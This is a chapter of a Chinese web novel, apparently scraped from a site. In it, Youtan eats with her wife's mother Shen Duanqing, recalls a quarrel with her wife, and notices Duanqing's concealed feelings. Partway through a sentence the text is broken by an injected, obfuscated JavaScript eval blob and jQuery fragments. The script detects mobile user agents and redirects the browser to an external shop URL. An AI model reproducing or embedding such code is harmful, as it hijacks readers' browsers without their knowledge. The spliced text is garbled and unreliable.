晚餐时间比以往迟了不少,尤昙刚才还觉得有些饿,可是等真正到了餐厅,她反而有些后悔,或许不应该来这里。
这家店就在学校附近。
这个时间,恰好是附近的学生和老师来解决晚饭的时间。
倒不是担心会被人认出来。
自从两人结婚后,因为研究所事忙,沈遐云除了一周两节课,几乎不怎么来学校。
但这家店她和沈遐云倒是经常来,甚至还吵过一次架。
她和沈遐云虽然极少产生矛盾,但偶尔也免不了吵架。
而且随着两人在一起时间越长,感情越好,吵架次数反而变多了。
不过通常只是些不值一提的小事。
与其说是吵架,更像是拌嘴。
沈遐云有时会有些幼稚的恶趣味,故意惹她生气,然后又哄她。
例如,沈遐云把她特意留下想最后吃的零食口味吃掉,将她惹怒之后,又牵着她的手去买。
谁会那么讨厌。
可她偏偏又吃这一套。
因为两人真正称得上是吵架的次数更少,那几次都令她印象深刻。
其中一次,就是在这个餐厅。
有那么几天,她很想吃这家的一道鱼皮豆腐煲。
口感嫩滑,鱼皮薄弹,被炖得胶质满满,但是这道菜只适合堂食,点外送或者打包,口感都会随着时间流逝变差,鱼皮变韧,不好咀嚼。
但沈遐云更想和她在家吃,于是商量着要尝试着在家做。
沈遐云在别的领域游刃有余,唯独厨艺一般,偏偏在这件事上也无法勤能补拙。
一般的家常菜沈遐云当然没问题,但是对于火候精度要求极高的菜色,结果可想而知。
最后花费了两个小时,十分努力地做出了一盘口味不错的橡皮筋。
尤昙:“……”
最后不得已,两人又赶来这家餐厅。
她们来的时候已经太晚了,店里正在招待最后一桌客人,而厨师已经下班了。
她心里有点委屈,闷闷地不说话。
偏偏沈遐云又故意唉声叹气地逗她:“如果我厨艺不这么差就好。”
你还知道啊,她心说。
沈遐云:“说不定下次就能成功呢。”
没有下次了。
一想到原本她们今天能吃到,结果因为沈遐云花费太多时间,最后什么都没有。
沈遐云现在还大言不惭地说还要做一次。
其实没什么可生气的,可等她反应过来的时候,眼泪已经往下掉了。
大概是期待落空本身太让人沮丧了。
餐厅里还有别的客人,她心里又羞又恼,眼泪又止不住。
沈遐云慌张地用大衣挡住她,将她抱在怀里:“老婆?尤尤?”
尤昙:“……”
她躲在沈遐云大衣里扎扎实实哭了一通。
那次似乎是她和沈遐云吵架最严重的一次。
尤昙回过神时,菜已经上齐了,她挥散思绪。
“好吃吗?”尤昙试探道。
其实她这句话有些明知故问。
女人动作虽然吃相优雅大方,但吃得并不少,甚至感觉到比平日还多吃了点。
而且表情似乎也没有刚才那么冷淡,甚至给出了矜持的评价:“还可以。”
她松了口气,好在这家店的口味沈缎青挺喜欢的,这让她心里有了些安慰。
果然她想得没错,这对母女的口味也很相似。
吃完饭,尤昙自告奋勇去结账。
尤昙其实并不缺钱。
她和姐姐未成年的时候,两个母亲都会分别给姐妹俩打上一笔相当不菲的抚养费,付了学费和生活费之后还剩下很多。
直到十八岁成年,这两笔抚养费才停止。
一个小孩能花多少钱,积攒了十几年,尤昙手里有一笔不小的积蓄。
更何况尤卉工作后还会每个月给她一笔零花钱。
结账时,店员贴心问她有没有会员卡,今天正好赶到每周的会员日,8.8折呢。
尤昙点点头。
她和沈遐云来过这家店不少次。
“麻烦问一下您的会员名是什么呢?”
尤昙报了自己的名字。
店员查询了一下,露出了一个略显为难的表情。
尤昙突然意识到什么,卡了下壳:“不好意思,我记错了。”
才后知后觉想到,这家店大概用的是沈遐云的信息。
她想到了,沈缎青自然也能想到。
不知怎么地,她心脏突跳了一下,下意识回头去看女人的表情。
沈缎青没说话。
果然,刚刚好转一些的表情,又有些冷淡。
这一瞬间,她突然敏锐地察觉到了一点不愉悦的源头。
因为沈遐云吗?
可是为什么呢?
回去的路上,天色彻底暗下来。
街道两旁霓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483844|201906||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虹闪烁,被移动的车窗拖拽出一道道亮色流光。
尤昙其实很喜欢看夜景,空气微凉,耳旁穿梭的车声变成了一种白噪音,会让人不自觉安静下来。
但是此刻却没心情看。
她余光看了一眼驾驶位上脸色冷淡专心开车的女人。
在心里小小叹了口气。
按理来说,她原本心里应该也不太好受,结果现在被沈缎青不知来由的情绪弄得一干二净。
她试图让气氛变得轻快一点,可是绞尽脑汁,也不知道要说些什么。
闷闷沉沉的气氛一直持续到回家的时候。
停下车,沈缎青下车去搬后备箱里的纸箱。
尤昙也立刻解开安全带紧跟着下车。
车库里的光线不够明亮,透着股压抑的昏暗。
脚步声在空旷中回荡。
沈缎青身高腿长,步子自然也大。
她跟在沈缎青身后,差点跟不上,踩着女人的影子走了几步,她犹豫几秒,试探着伸手捉住了女人微微晃荡的衣摆,小声道:“生气了吗?”
沈缎青停下脚步,终于回头看她。
女孩仰头,目不转睛地看着她,眼珠潮湿忐忑,更多是不解和茫然,不解她为什么会这样。
她这样问只是感知到她的情绪后,出于紧张不安,希望她不要生气。
更像是一种询问?
并不是察觉到了原因。
有那么一瞬间,沈缎青心里冒出一股恶劣的情绪,很想顺势点头承认。
为什么不愉悦?
没人能看到自己心仪的对象像个勤恳的雌鸟,用心经营装点和伴侣的巢穴,还能维持着体面的好心情。
更何况,这个所谓的伴侣,还是她的女儿。
尤昙现在抱着什么想法,怎么现在还对她的想法浑然不觉?
是对于感情的迟钝,还是从来没有将她作为对象考虑在内?
这一刻,她很想直接点破两人此刻不明不白的关系。
真想看看她脸上是什么表情,慌张?惊讶?还是害怕?
心思千回百转,但沈缎青最终还是笑了一下:“没有。”
箱子里的东西不多,也不算重。
沈缎青换了下动作,一只手稳稳托住箱子底部,另一只手去握住她攥着自己衣摆的手:“能看清吗?”
“有点暗,还是抓紧我。”
“嗯。”女孩瓮声瓮气地答应了,被她牵着,紧紧跟着她的脚步。